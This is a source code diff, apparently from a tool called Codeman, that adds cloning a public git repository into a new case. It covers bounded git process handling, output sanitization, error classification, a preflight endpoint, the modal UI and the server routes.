base.GIT_SSH_COMMAND || 'ssh -oBatchMode=yes -oStrictHostKeyChecking=accept-new -oConnectTimeout=10',
};
}
// ─── Pure: output handling ───────────────────────────────────────────────────
/**
* Make git's stderr safe to show in the browser: strip ANSI/control bytes,
* redact any `scheme://user:secret@host` that a credential helper echoed back,
* and keep only the tail (the last lines are the ones that say why it failed).
*/
export function sanitizeGitOutput(text: string, maxBytes = MAX_STDERR_BYTES): string {
const redacted = text
.replace(/([a-zA-Z][a-zA-Z0-9+.-]*:\/\/)[^/@\s]*:[^/@\s]*@/g, '$1***:***@')
// eslint-disable-next-line no-control-regex -- deliberate: strip C0/C1 and DEL.
.replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, '')
.trim();
return redacted.length > maxBytes ? `…${redacted.slice(-maxBytes)}` : redacted;
}
/** Parse `git ls-remote --symref` output into a default branch plus ref lists. */
export function parseLsRemoteOutput(stdout: string): {
defaultBranch?: string;
branches: string[];
tags: string[];
truncated: boolean;
} {
let defaultBranch: string | undefined;
const branches: string[] = [];
const tags: string[] = [];
let truncated = false;
for (const line of stdout.split('\n')) {
const trimmed = line.trim();
if (!trimmed) continue;
const symref = /^ref:\s+refs\/heads\/(\S+)\s+HEAD$/.exec(trimmed);
if (symref) {
defaultBranch = symref[1];
continue;
}
const ref = /^[0-9a-f]{40,64}\s+(\S+)$/.exec(trimmed);
if (!ref) continue;
const name = ref[1];
// Peeled tags (`refs/tags/v1^{}`) duplicate their tag; drop them.
if (name.endsWith('^{}')) continue;
if (name.startsWith('refs/heads/')) {
if (branches.length < MAX_REFS_RETURNED) branches.push(name.slice('refs/heads/'.length));
else truncated = true;
} else if (name.startsWith('refs/tags/')) {
if (tags.length < MAX_REFS_RETURNED) tags.push(name.slice('refs/tags/'.length));
else truncated = true;
}
}
return { defaultBranch, branches, tags, truncated };
}
/**
* Turn a git failure into something actionable.
*
* The AUTH_REQUIRED wording matters: GitHub answers "Repository not found" for a
* private repo AND for a typo when unauthenticated, so a bare "not found" would
* send people hunting for a spelling mistake that isn't there.
*/
export function classifyGitFailure(stderr: string, timedOut: boolean, spawnError?: string): GitFailure {
const clean = sanitizeGitOutput(stderr);
const lower = `${clean}\n${spawnError ?? ''}`.toLowerCase();
if (spawnError && /enoent/i.test(spawnError)) {
return {
code: 'GIT_MISSING',
message: 'git is not installed on this machine (or not on the server\u2019s PATH).',
stderr: clean,
};
}
if (timedOut) {
return {
code: 'TIMEOUT',
message:
'Git timed out. Large repositories may need the shallow option, or a longer CODEMAN_GIT_CLONE_TIMEOUT_MS.',
stderr: clean,
};
}
if (
/could not read username|authentication failed|terminal prompts disabled|permission denied \(publickey\)|invalid username or password|access denied/.test(
lower
)
) {
return {
code: 'AUTH_REQUIRED',
message:
'That repository needs authentication. Codeman clones without credentials, so private repositories have to be cloned outside Codeman and added with Link Existing.',
stderr: clean,
};
}
if (/remote branch .* not found|could not find remote branch|pathspec .* did not match/.test(lower)) {
return { code: 'REF_NOT_FOUND', message: 'That branch or tag does not exist on the remote.', stderr: clean };
}
if (
/repository not found|not found|does not exist|does not appear to be a git repository|no such file or directory/.test(
lower
)
) {
return {
code: 'NOT_FOUND',
message:
'Repository not found. Check the URL, since hosts also answer "not found" for private repositories when no credentials are supplied.',
stderr: clean,
};
}
if (/could not resolve host|connection refused|connection timed out|network is unreachable|ssl|tls/.test(lower)) {
return { code: 'HOST_UNREACHABLE', message: 'Could not reach that host from this machine.', stderr: clean };
}
if (/already exists and is not an empty directory|destination path .* already exists/.test(lower)) {
return { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: clean };
}
return { code: 'FAILED', message: clean ? `git failed: ${firstLine(clean)}` : 'git failed.', stderr: clean };
}
function firstLine(text: string): string {
const line = text.split('\n').find((l) => l.trim().length > 0) ?? '';
return line.length > 300 ? `${line.slice(0, 300)}…` : line;
}
// ─── IO: bounded git spawns ──────────────────────────────────────────────────
let activeGitOperations = 0;
const gitWaiters: Array<() => void> = [];
/** Test/diagnostic hook: git operations currently holding a slot. */
export function getActiveGitOperationCount(): number {
return activeGitOperations;
}
function acquireGitSlot(): Promise<void> {
if (activeGitOperations < MAX_CONCURRENT_GIT_OPERATIONS) {
activeGitOperations++;
return Promise.resolve();
}
return new Promise<void>((resolve) => gitWaiters.push(resolve));
}
function releaseGitSlot(): void {
const next = gitWaiters.shift();
// Hand the slot straight over so the active count can never exceed the cap.
if (next) next();
else activeGitOperations--;
}
interface GitRun {
stdout: string;
stderr: string;
code: number | null;
timedOut: boolean;
spawnError?: string;
}
/**
* Run git with a hard wall-clock bound and capped output capture.
*
* SIGTERM then SIGKILL, because `git clone` fans out into `git-remote-https` /
* `git index-pack` children: a single polite signal to the parent can leave the
* fetch running. `detached: true` puts the whole tree in its own process group
* so the escalation kills the children too, which is also why the negative-pid
* signal is used rather than `child.kill()`.
*/
async function runGit(args: string[], timeoutMs: number, maxStdoutBytes: number): Promise<GitRun> {
await acquireGitSlot();
try {
return await new Promise<GitRun>((resolve) => {
let child: ReturnType<typeof spawn>;
try {
child = spawn('git', args, {
env: gitNonInteractiveEnv(),
stdio: ['ignore', 'pipe', 'pipe'],
detached: true,
});
} catch (err) {
resolve({ stdout: '', stderr: '', code: null, timedOut: false, spawnError: String(err) });
return;
}
let stdout = '';
let stderr = '';
let stdoutBytes = 0;
let timedOut = false;
let settled = false;
let killTimer: NodeJS.Timeout | undefined;
const killTree = (signal: NodeJS.Signals) => {
try {
if (child.pid) process.kill(-child.pid, signal);
} catch {
try {
child.kill(signal);
} catch {
/* already gone */
}
}
};
const timer = setTimeout(() => {
timedOut = true;
killTree('SIGTERM');
killTimer = setTimeout(() => killTree('SIGKILL'), 3_000);
}, timeoutMs);
child.stdout?.on('data', (chunk: Buffer) => {
stdoutBytes += chunk.length;
if (stdoutBytes <= maxStdoutBytes) stdout += chunk.toString('utf-8');
});
child.stderr?.on('data', (chunk: Buffer) => {
stderr += chunk.toString('utf-8');
// Keep a bounded tail rather than the whole (potentially huge) stream.
if (stderr.length > MAX_STDERR_BYTES * 2) stderr = stderr.slice(-MAX_STDERR_BYTES);
});
const finish = (result: GitRun) => {
if (settled) return;
settled = true;
clearTimeout(timer);
if (killTimer) clearTimeout(killTimer);
resolve(result);
};
child.on('error', (err) => finish({ stdout, stderr, code: null, timedOut, spawnError: String(err) }));
child.on('close', (code) => finish({ stdout, stderr, code, timedOut }));
});
} finally {
releaseGitSlot();
}
}
/** Is a usable `git` on this machine? Memoized: the answer cannot change without a restart. */
let gitAvailable: boolean | null = null;
export function isGitAvailable(): boolean {
if (gitAvailable !== null) return gitAvailable;
try {
execFileSync('git', ['--version'], {
encoding: 'utf-8',
timeout: EXEC_TIMEOUT_MS,
stdio: ['ignore', 'pipe', 'ignore'],
});
gitAvailable = true;
} catch {
gitAvailable = false;
}
return gitAvailable;
}
/**
* Ask the remote what it has, without cloning: reachability, whether it can be
* read anonymously, its default branch, and its branch/tag lists (which the UI
* turns into a ref picker instead of a free-text field).
*
* Never throws — an unreachable remote is a normal answer here, not an error.
*/
export async function probeGitRemote(
repository: string,
timeoutMs = GIT_LS_REMOTE_TIMEOUT_MS
): Promise<GitRemoteProbe> {
if (!isGitAvailable()) {
return {
reachable: false,
branches: [],
tags: [],
failure: classifyGitFailure('', false, 'ENOENT: git not found'),
};
}
const run = await runGit(buildLsRemoteArgs(repository), timeoutMs, MAX_LS_REMOTE_BYTES);
if (run.code !== 0 || run.spawnError) {
return {
reachable: false,
branches: [],
tags: [],
failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError),
};
}
const parsed = parseLsRemoteOutput(run.stdout);
return {
reachable: true,
...(parsed.defaultBranch ? { defaultBranch: parsed.defaultBranch } : {}),
branches: parsed.branches,
tags: parsed.tags,
...(parsed.truncated ? { truncated: true } : {}),
};
}
/**
* Clone `repository` into `destination`.
*
* On failure the destination is removed — but only when it did not exist before
* the attempt, so a half-written clone is cleaned up while an existing
* directory is never touched. Callers still reject a pre-existing destination
* upfront; this is the second line of that same defence.
*
* Never throws; every outcome is a `CloneResult`.
*/
export async function cloneRepository(opts: CloneOptions): Promise<CloneResult> {
if (!isGitAvailable()) {
return { ok: false, failure: classifyGitFailure('', false, 'ENOENT: git not found') };
}
if (opts.ref && !isSafeGitRef(opts.ref)) {
return {
ok: false,
failure: { code: 'REF_NOT_FOUND', message: 'Invalid branch or tag name.', stderr: '' },
};
}
const preexisting = existsSync(opts.destination);
if (preexisting) {
return {
ok: false,
failure: { code: 'DESTINATION_EXISTS', message: 'The destination directory already exists.', stderr: '' },
};
}
const run = await runGit(buildCloneArgs(opts), opts.timeoutMs ?? GIT_CLONE_TIMEOUT_MS, MAX_STDERR_BYTES);
if (run.code === 0 && !run.spawnError) return { ok: true, stderr: sanitizeGitOutput(run.stderr) };
// Remove ONLY the directory this attempt created (git may have written a
// partial tree, or nothing at all).
await rm(opts.destination, { recursive: true, force: true }).catch(() => {});
return { ok: false, failure: classifyGitFailure(run.stderr, run.timedOut, run.spawnError) };
}
+46
View File
@@ -2043,6 +2043,7 @@
</div>
<div class="modal-tabs">
<button class="modal-tab-btn active" data-tab="case-create">Create New</button>
<button class="modal-tab-btn" data-tab="case-clone" id="caseCloneTabBtn">Clone Repo</button>
<button class="modal-tab-btn" data-tab="case-link">Link Existing</button>
<button class="modal-tab-btn" data-tab="case-remote">Remote</button>
<button class="modal-tab-btn" data-tab="case-docker">Docker</button>
@@ -2108,6 +2109,51 @@
</div>
</details>
</div>
<!-- Clone Repo Tab (issue #236) -->
<div class="modal-tab-content hidden" id="case-clone">
<div class="form-row">
<label>Repository URL</label>
<input type="url" id="cloneRepoUrl" placeholder="https://github.com/owner/repo.git" autocomplete="off" autocapitalize="off" autocorrect="off" spellcheck="false" oninput="app.onCloneUrlInput()">
<span class="form-hint clone-status" id="cloneRepoStatus">Public repositories only: Codeman clones with no credentials.</span>
</div>
<div class="form-row">
<label>Case Name</label>
<input type="text" id="cloneCaseName" placeholder="repo" pattern="[a-zA-Z0-9_-]+" autocomplete="off" autocapitalize="off" spellcheck="false" oninput="app.onCloneNameEdited()">
<span class="form-hint">Filled in from the URL. Cloned into ~/codeman-cases/&lt;name&gt;, so deleting the case deletes this working tree.</span>
</div>
<div class="form-row">
<label>Branch or Tag (optional)</label>
<input type="text" id="cloneRepoRef" list="cloneRepoRefOptions" placeholder="default branch" autocomplete="off" autocapitalize="off" spellcheck="false">
<datalist id="cloneRepoRefOptions"></datalist>
<span class="form-hint" id="cloneRefHint">Leave blank for the repository's default branch.</span>
</div>
<div class="form-row">
<label>Brain</label>
<select id="cloneCaseBrain" class="form-select">
<option value="">Leave the Run button as it is</option>
<option value="claude" data-cli="claude">Claude Code</option>
<option value="codex" data-cli="codex">Codex</option>
<option value="gemini" data-cli="gemini">Gemini</option>
<option value="opencode" data-cli="opencode">OpenCode</option>
<option value="antigravity" data-cli="antigravity">Antigravity</option>
<option value="shell">Shell (no agent)</option>
</select>
<span class="form-hint">Which CLI to point the Run button at once the clone finishes. Changeable any time from the Run dropdown.</span>
</div>
<details class="advanced-options">
<summary>Clone options</summary>
<div class="advanced-options-content">
<div class="form-row">
<label class="checkbox-row"><input type="checkbox" id="cloneShallow"> Shallow clone (--depth 1)</label>
<span class="form-hint">Much faster on big repositories, but there is no history to read afterwards.</span>
</div>
<div class="form-row">
<label class="checkbox-row"><input type="checkbox" id="cloneStartSession"> Start a session when the clone finishes</label>
</div>
</div>
</details>
<span class="form-hint" id="cloneCaseNote" style="margin-top: 8px; display: block;">The clone runs while this request is open, so a large repository takes a while. The case appears as soon as git finishes, even if the browser gave up waiting.</span>
</div>
<!-- Link Existing Tab -->
<div class="modal-tab-content hidden" id="case-link">
<div class="form-row">
+247 -6
View File
@@ -1772,6 +1772,11 @@ Object.assign(CodemanApp.prototype, {
const el = document.getElementById(id);
if (el) el.value = '';
});
this._resetCloneForm();
// Cloning needs git ON THE SERVER: hide the whole tab rather than let it fail
// at submit. Unknown reads as available (isCliAvailable's rule).
const cloneTabBtn = document.getElementById('caseCloneTabBtn');
if (cloneTabBtn) cloneTabBtn.style.display = this.isCliAvailable('git') ? '' : 'none';
// Reset to first tab
this.caseModalTab = 'case-create';
this.switchCaseModalTab('case-create');
@@ -1817,15 +1822,19 @@ Object.assign(CodemanApp.prototype, {
submitBtn.textContent =
tabName === 'case-create'
? 'Create'
: tabName === 'case-remote'
? 'Link Remote'
: tabName === 'case-docker'
? 'Link Docker'
: 'Link';
: tabName === 'case-clone'
? 'Clone'
: tabName === 'case-remote'
? 'Link Remote'
: tabName === 'case-docker'
? 'Link Docker'
: 'Link';
}
// Focus appropriate input
if (tabName === 'case-create') {
document.getElementById('newCaseName').focus();
} else if (tabName === 'case-clone') {
document.getElementById('cloneRepoUrl').focus();
} else if (tabName === 'case-link') {
document.getElementById('linkCaseName').focus();
} else if (tabName === 'case-remote') {
@@ -1843,10 +1852,16 @@ Object.assign(CodemanApp.prototype, {
const btn = document.getElementById('caseModalSubmit');
const originalText = btn.textContent;
btn.classList.add('loading');
btn.textContent = this.caseModalTab === 'case-create' ? 'Creating...' : 'Linking...';
btn.textContent =
this.caseModalTab === 'case-create' ? 'Creating...' : this.caseModalTab === 'case-clone' ? 'Cloning...' : 'Linking...';
// A clone holds this request open for minutes; without disabling the button a
// second click fires a second clone (the loser then fails on ALREADY_EXISTS).
btn.disabled = true;
try {
if (this.caseModalTab === 'case-create') {
await this.createCase();
} else if (this.caseModalTab === 'case-clone') {
await this.cloneCase();
} else if (this.caseModalTab === 'case-remote') {
await this.linkRemoteCase();
} else if (this.caseModalTab === 'case-docker') {
@@ -1856,6 +1871,7 @@ Object.assign(CodemanApp.prototype, {
}
} finally {
btn.classList.remove('loading');
btn.disabled = false;
btn.textContent = originalText;
}
},
@@ -1997,6 +2013,231 @@ Object.assign(CodemanApp.prototype, {
}
},
// ═══════════════════════════════════════════════════════════════
// Clone Repo tab (issue #236)
// ═══════════════════════════════════════════════════════════════
/** Clear the Clone tab and drop any preflight state. Called from showCreateCaseModal(). */
_resetCloneForm() {
const set = (id, value) => {
const el = document.getElementById(id);
if (el) el.value = value;
};
set('cloneRepoUrl', '');
set('cloneCaseName', '');
set('cloneRepoRef', '');
const shallow = document.getElementById('cloneShallow');
if (shallow) shallow.checked = false;
const start = document.getElementById('cloneStartSession');
if (start) start.checked = false;
const refs = document.getElementById('cloneRepoRefOptions');
if (refs) refs.replaceChildren();
const refHint = document.getElementById('cloneRefHint');
if (refHint) refHint.textContent = "Leave blank for the repository's default branch.";
this._cloneNameEdited = false;
this._clonePreflight = null;
clearTimeout(this._clonePreflightTimer);
this._clonePreflightAbort?.abort();
this._clonePreflightAbort = null;
this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
// The brain picker mirrors the toolbar run menu: never offer a CLI this box
// lacks (#201's rule), and preselect whatever Run is currently pointing at.
const brain = document.getElementById('cloneCaseBrain');
if (brain) {
for (const option of brain.options) {
const cli = option.dataset.cli;
option.hidden = !!cli && !this.isCliAvailable(cli);
}
const current = this.runMode || 'claude';
brain.value = [...brain.options].some((o) => o.value === current && !o.hidden) ? current : '';
}
},
_setCloneStatus(message, kind) {
const el = document.getElementById('cloneRepoStatus');
if (!el) return;
el.textContent = message;
el.className = `form-hint clone-status${kind ? ' clone-status-' + kind : ''}`;
},
/**
* Best-effort repo name out of a URL, for filling the case name as you type.
*
* Deliberately a THIN mirror of `suggestCaseNameFromRepo` (git-clone.ts) rather
* than a second URL parser: it only ever suggests a name, and the server's parse
* is the authority on whether the URL is cloneable at all. The preflight reply
* overwrites whatever this guessed.
*/
_repoNameFromUrl(url) {
const trimmed = (url || '').trim().replace(/\/+$/, '');
if (!trimmed) return '';
const segment = trimmed
.replace(/^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//, '')
.replace(/^[^@/]*@/, '')
.split(/[/:]/)
.filter(Boolean)
.pop() || '';
return segment
.replace(/\.git$/i, '')
.replace(/[^a-zA-Z0-9_-]+/g, '-')
.replace(/-{2,}/g, '-')
.replace(/^[-_]+|[-_]+$/g, '')
.slice(0, 64);
},
onCloneNameEdited() {
// Once the user types a name, autofill stops fighting them.
this._cloneNameEdited = !!document.getElementById('cloneCaseName')?.value.trim();
},
onCloneUrlInput() {
const url = document.getElementById('cloneRepoUrl')?.value.trim() || '';
const nameInput = document.getElementById('cloneCaseName');
if (nameInput && !this._cloneNameEdited) nameInput.value = this._repoNameFromUrl(url);
clearTimeout(this._clonePreflightTimer);
this._clonePreflightAbort?.abort();
this._clonePreflightAbort = null;
if (!url) {
this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
return;
}
if (this.isCliAvailable('git') === false) {
this._setCloneStatus('git is not installed on the Codeman host, so cloning is unavailable.', 'err');
return;
}
this._setCloneStatus('Checking the repository…', '');
this._clonePreflightTimer = setTimeout(() => this._runClonePreflight(url), 450);
},
/**
* Ask the server to parse the URL and (if it survives) query the remote, so the
* user learns "private repo" / "typo" / "3 tags" BEFORE waiting on a clone.
* Stale replies are dropped: only the response for the URL currently in the
* field is allowed to paint.
*/
async _runClonePreflight(url) {
const controller = new AbortController();
this._clonePreflightAbort = controller;
try {
const res = await fetch('/api/cases/clone-preflight', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ repository: url }),
signal: controller.signal,
});
const env = await res.json();
if (document.getElementById('cloneRepoUrl')?.value.trim() !== url) return;
if (!env.success) {
this._setCloneStatus(env.error || 'Could not check that URL.', 'err');
return;
}
this._applyClonePreflight(env.data, url);
} catch (err) {
if (err.name === 'AbortError') return;
this._setCloneStatus('Could not reach Codeman to check that URL.', 'err');
}
},
_applyClonePreflight(data, url) {
this._clonePreflight = data;
const parse = data?.parse;
if (!parse?.cloneable) {
this._setCloneStatus(parse?.message || 'That URL cannot be cloned.', 'err');
return;
}
// The server's suggestion wins over the local guess (it is the same function
// the case name is validated against), but never over a name the user typed.
const nameInput = document.getElementById('cloneCaseName');
if (nameInput && !this._cloneNameEdited && parse.suggestedName) nameInput.value = parse.suggestedName;
const where = parse.owner ? `${parse.provider} ${parse.owner}/${parse.repo}` : `${parse.provider} ${parse.repo}`;
if (data.gitAvailable === false) {
this._setCloneStatus(`${where}: git is not installed on the Codeman host.`, 'err');
return;
}
const remote = data.remote;
if (remote && !remote.reachable) {
this._setCloneStatus(`${where}: ${remote.failure?.message || 'the remote could not be read.'}`, 'err');
return;
}
const refHint = document.getElementById('cloneRefHint');
const options = document.getElementById('cloneRepoRefOptions');
if (remote && options) {
options.replaceChildren();
for (const ref of [...(remote.branches || []), ...(remote.tags || [])]) {
const option = document.createElement('option');
option.value = ref;
options.appendChild(option);
}
if (refHint) {
const counts = `${remote.branches?.length || 0} branches, ${remote.tags?.length || 0} tags`;
refHint.textContent = remote.defaultBranch
? `Blank clones the default branch (${remote.defaultBranch}). ${counts} available.`
: `Blank clones the default branch. ${counts} available.`;
}
}
const warning = parse.warnings?.[0];
this._setCloneStatus(warning ? `${where}: ${warning}` : `${where}: ready to clone.`, warning ? 'warn' : 'ok');
},
async cloneCase() {
const url = document.getElementById('cloneRepoUrl').value.trim();
const name = document.getElementById('cloneCaseName').value.trim();
const ref = document.getElementById('cloneRepoRef').value.trim();
const shallow = !!document.getElementById('cloneShallow')?.checked;
const brain = document.getElementById('cloneCaseBrain')?.value || '';
const startSession = !!document.getElementById('cloneStartSession')?.checked;
if (!url) {
this.showToast('Please enter a repository URL', 'error');
return;
}
if (!name) {
this.showToast('Please enter a case name', 'error');
return;
}
if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
this.showToast('Invalid name. Use only letters, numbers, hyphens, underscores.', 'error');
return;
}
this._setCloneStatus(`Cloning ${url}… this can take a while for a large repository.`, '');
try {
const res = await fetch('/api/cases/clone', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
// Zod `.optional()` rejects an explicit null, and JSON.stringify keeps one
// on the wire — omit the empty fields instead of sending null.
body: JSON.stringify({ name, repository: url, ...(ref ? { ref } : {}), ...(shallow ? { shallow: true } : {}) }),
});
const data = await res.json();
if (!data.success) {
this._setCloneStatus(data.error || 'Clone failed.', 'err');
this.showToast(data.error || 'Failed to clone repository', 'error');
return;
}
// Setting the brain before the tab closes means the Run button is already
// pointing at the chosen CLI, whether or not a session starts now.
if (brain) this.setRunMode(brain);
this.closeCreateCaseModal();
await this.loadQuickStartCases(name);
await this.saveLastUsedCase(name);
this.showToast(`Cloned into case "${name}"`, 'success');
for (const warning of data.data?.warnings || []) this.showToast(warning, 'warning');
if (startSession) await this.run();
} catch (err) {
// A proxy/idle timeout can kill the request while git keeps going: the
// case:created broadcast is what makes the case show up regardless.
console.error('Failed to clone repository:', err);
this._setCloneStatus(
`Lost the connection while cloning: ${err.message}. If git finishes, the case still appears in the list.`,
'warn'
);
this.showToast('Clone request interrupted — watch the case list', 'error');
}
},
openLinkCasePathPicker() {
const pathInput = document.getElementById('linkCasePath');
PathPicker.open({
+16
View File
@@ -5323,6 +5323,22 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea {
margin-top: 0.35rem;
}
/* Clone Repo tab (issue #236): live verdict on the URL being typed. Semantic
tokens, so light skins inherit readable variants automatically. */
.clone-status {
min-height: 1.6em;
overflow-wrap: anywhere;
}
.clone-status-ok {
color: var(--green);
}
.clone-status-warn {
color: var(--yellow);
}
.clone-status-err {
color: var(--red);
}
/* Preset selector */
.preset-selector {
display: flex;
+220 -1
View File
@@ -1,7 +1,9 @@
/**
* @fileoverview Case management routes.
* Handles CRUD for cases (directories under ~/codeman-cases and linked folders),
* fix-plan reading, and ralph-wizard file serving.
* cloning a repository into a new case (`/api/cases/clone` + `/clone-preflight`,
* issue #236 — the URL-safety rules live in `src/git-clone.ts`), fix-plan reading,
* and ralph-wizard file serving.
*/
import { FastifyInstance } from 'fastify';
@@ -15,6 +17,8 @@ import type { ApiResponse, CaseInfo, DockerHost, RemoteSessionInfo, SessionDocke
import { ApiErrorCode, createErrorResponse, getErrorMessage } from '../../types.js';
import {
CreateCaseSchema,
CloneCaseSchema,
ClonePreflightSchema,
LinkCaseSchema,
CaseOrderSchema,
RemoteCaseLinkSchema,
@@ -26,6 +30,14 @@ import {
DockerQuickCreateSchema,
} from '../schemas.js';
import { exportDockerCase, importDockerBundle, listDockerExports, exportBundleName } from '../../docker-export.js';
import {
cloneRepository,
isGitAvailable,
isSafeGitRef,
parseGitRepositoryUrl,
probeGitRemote,
} from '../../git-clone.js';
import type { GitRemoteProbe, GitUrlParse } from '../../git-clone.js';
import { generateClaudeMd } from '../../templates/claude-md.js';
import { writeHooksConfig } from '../../hooks-config.js';
import {
@@ -89,6 +101,41 @@ const APP_VERSION = (() => {
}
})();
/**
* Refusal text for a `local`-transport clone by a non-admin in multi-user mode.
* Per-user case spaces live inside one $HOME, so cloning from an absolute path
* would copy another user's workspace into the caller's own (the same escape
* `/api/cases/link` is admin-only for).
*/
const LOCAL_CLONE_ADMIN_ONLY =
'Cloning from a local path is admin-only in multi-user mode. Use a repository URL instead.';
/**
* The one line of git's stderr worth appending to an error message.
*
* NOT the first line: `git clone` opens with "Cloning into '<dest>'…", so a naive
* first-line pick reported the destination path as the reason a bad branch failed
* (observed against a real remote). Prefer the LAST diagnostic line
* (`fatal:`/`error:`/`remote:`), which is where git puts the actual cause.
*/
function gitDiagnosticLine(stderr: string): string {
const lines = stderr
.split('\n')
.map((l) => l.trim())
.filter(Boolean);
const line = [...lines].reverse().find((l) => /^(fatal|error|remote|warning):/i.test(l)) ?? lines.at(-1) ?? '';
return line.length > 200 ? `${line.slice(0, 200)}…` : line;
}
/**
* Does the freshly cloned tree carry its own Claude settings? Those can contain
* hooks, which run on the user's machine when a session starts in the case, so
* the clone response says so out loud instead of silently merging into them.
*/
function repoShipsClaudeSettings(casePath: string): boolean {
return ['settings.json', 'settings.local.json'].some((file) => existsSync(join(casePath, '.claude', file)));
}
/** Read and parse linked-cases.json, returning empty object on missing/invalid file. */
async function readLinkedCases(): Promise<Record<string, string>> {
return readJsonConfig<Record<string, string>>(LINKED_CASES_FILE, 'linked cases', {});
@@ -301,6 +348,178 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config
}
});
// ========== Clone a repository as a case (issue #236) ==========
/**
* Ask a remote what it has, without cloning anything.
*
* Two jobs: tell the user whether the URL they typed can be cloned *anonymously*
* (Codeman supplies no credentials, so "private" and "typo" both have to be
* distinguishable from "fine"), and hand back the branch/tag lists so the ref
* field is a picker instead of a guess.
*
* Always 200 with `reachable: false` on a dead remote — an unreachable URL is a
* normal answer to a preflight, not a server error, and the UI renders the reason.
*/
app.post(
'/api/cases/clone-preflight',
async (
req,
reply
): Promise<ApiResponse<{ parse: GitUrlParse; remote?: GitRemoteProbe; gitAvailable: boolean }>> => {
const { repository } = parseBody(ClonePreflightSchema, req.body);
const parsed = parseGitRepositoryUrl(repository);
if (!parsed.cloneable) {
return { success: true, data: { parse: parsed, gitAvailable: isGitAvailable() } };
}
if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
}
if (!isGitAvailable()) {
return { success: true, data: { parse: parsed, gitAvailable: false } };
}
const remote = await probeGitRemote(parsed.repository);
return { success: true, data: { parse: parsed, remote, gitAvailable: true } };
}
);
/**
* Clone a repository into the caller's case space and register it as a normal
* local case (issue #236).
*
* SYNCHRONOUS by design for v1: the request stays open for the whole clone
* (bounded by `GIT_CLONE_TIMEOUT_MS`), so there is no job store, no polling and
* no cancellation surface to get wrong. The `case:created` broadcast is what
* makes that safe behind a proxy with its own idle timeout — a client whose
* request died mid-clone still sees the case appear over SSE when git finishes.
*
* Deliberately NOT admin-gated in multi-user mode: unlike `/api/cases/link`,
* this writes only inside the caller's own `resolveCasesDir`. The one exception
* is a `local`-transport source, which would read through that boundary.
*
* Repository contents win over scaffolding: an existing CLAUDE.md is left
* alone, and hooks are MERGED into whatever `.claude/settings.local.json` the
* repo ships (`writeHooksConfig` preserves non-Codeman handlers). A repo that
* ships its own hooks is reported back as a warning, because those run on the
* user's machine the moment a session starts in the case.
*/
app.post(
'/api/cases/clone',
async (
req,
reply
): Promise<
ApiResponse<{
case: { name: string; path: string };
repository: string;
ref?: string;
provider: string;
warnings: string[];
}>
> => {
const { name, repository, ref, shallow, description } = parseBody(CloneCaseSchema, req.body);
const user = getAuthUser(req);
const parsed = parseGitRepositoryUrl(repository);
if (!parsed.cloneable) return createErrorResponse(ApiErrorCode.INVALID_INPUT, parsed.message);
if (ref && !isSafeGitRef(ref)) {
return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid branch or tag name');
}
if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
reply.code(403);
return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
}
if (!isGitAvailable()) {
return createErrorResponse(
ApiErrorCode.OPERATION_FAILED,
'git is not installed on this machine (or not on the server’s PATH).'
);
}
const casesDir = resolveCasesDir(user);
const casePath = validatePathWithinBase(name, casesDir);
if (!casePath) return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid case path');
// Reject a duplicate name across EVERY case kind before invoking git, so a
// clone can never be the thing that discovers the collision (it would have
// spent minutes of network first, and git's own error is about a directory).
const linkedCases = await readLinkedCases();
const dockerCases = await readDockerCases(CODEMAN_CONFIG_DIR);
const remoteCases = await readRemoteCases(CODEMAN_CONFIG_DIR);
if (
existsSync(casePath) ||
linkedCases[name] ||
dockerCases.some((item) => item.name === name) ||
remoteCases.some((item) => item.name === name)
) {
return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Case already exists');
}
// git creates the leaf, not necessarily the case space above it.
try {
mkdirSync(casesDir, { recursive: true });
} catch (err) {
return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
}
const clone = await cloneRepository({
repository: parsed.repository,
destination: casePath,
...(ref ? { ref } : {}),
...(shallow ? { shallow: true } : {}),
});
if (!clone.ok) {
const code =
clone.failure.code === 'NOT_FOUND'
? ApiErrorCode.NOT_FOUND
: clone.failure.code === 'DESTINATION_EXISTS'
? ApiErrorCode.ALREADY_EXISTS
: clone.failure.code === 'REF_NOT_FOUND'
? ApiErrorCode.INVALID_INPUT
: ApiErrorCode.OPERATION_FAILED;
const detail = clone.failure.stderr
? `${clone.failure.message} (${gitDiagnosticLine(clone.failure.stderr)})`
: clone.failure.message;
return createErrorResponse(code, detail);
}
// Scaffold WITHOUT overwriting anything the repository shipped.
const warnings = [...parsed.warnings];
try {
if (!existsSync(join(casePath, 'CLAUDE.md'))) {
const templatePath = await ctx.getDefaultClaudeMdPath();
const summary = description || `Cloned from ${parsed.repository}`;
writeFileSync(join(casePath, 'CLAUDE.md'), generateClaudeMd(name, summary, templatePath));
} else {
warnings.push('Kept the repository’s own CLAUDE.md.');
}
if (repoShipsClaudeSettings(casePath)) {
warnings.push(
'This repository ships its own .claude/settings files. Codeman merged its hooks alongside them without removing anything — review them before starting a session, since repo-supplied hooks run on this machine.'
);
}
await writeHooksConfig(casePath);
} catch (err) {
// The clone itself succeeded: keep the case and report the scaffolding
// problem, rather than deleting a tree the user just waited for.
warnings.push(`Case scaffolding was incomplete: ${getErrorMessage(err)}`);
}
ctx.broadcast(SseEvent.CaseCreated, { name, path: casePath });
return {
success: true,
data: {
case: { name, path: casePath },
repository: parsed.repository,
...(ref ? { ref } : {}),
provider: parsed.provider,
warnings,
},
};
}
);
// Hosts are machine-level infra config (ssh users/identity paths): non-admins get an
// empty list in multi-user mode, matching the admin-only write side. No-op otherwise.
